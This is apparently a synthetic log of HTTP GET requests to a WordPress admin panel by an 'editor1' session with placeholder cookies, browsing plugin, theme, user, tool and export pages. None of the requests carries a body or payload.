{"method": "GET", "target": "/wp-admin/widgets.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets,site-icon&load%5Bchunk_1%5D=,l10n,wp-base-styles,wp-tooltip,buttons,customize-controls,customize-nav-menus,code-editor,media-views&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,wp-hooks,underscore,wp-dom-ready&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=heartbeat,customize-base,wp-util,customize-controls,backbone,wp-backbone,accordion,wp-sanitize,customize-nav-menus,imgareaselect&load%5Bchunk_1%5D=,customize-models,shortcode,media-models,wp-plupload&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/?customize_changeset_uuid=45b3ef42-f34c-4dde-bde2-41c27b05accf&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?plugin_status=inactive", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203173"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203174"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=popular", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203175"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=contact+form&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203178"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203180"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,code-editor,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-poi&load%5Bchunk_1%5D=nter,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,wp-codemirror,underscore&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=akismet%2Fakismet.php&file=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=akismet%2Fclass.akismet.php&plugin=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203185"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203186"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203188"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203189"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203190"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,zxcvbn-async&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203191"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203193.0920450687408447265625", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/wp-admin/profile.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203191"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=editor&action=-1&new_role&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203192"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203194"], "body": ""}
{"method": "GET", "target": "/wp-admin/import.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203195"], "body": ""}
{"method": "GET", "target": "/wp-admin/export.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203196"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/types/post?context=edit", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "X-WP-Nonce: b40ef802e6", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203197; wp-settings-1=", "Connection: close"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-health.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203197"], "body": ""}
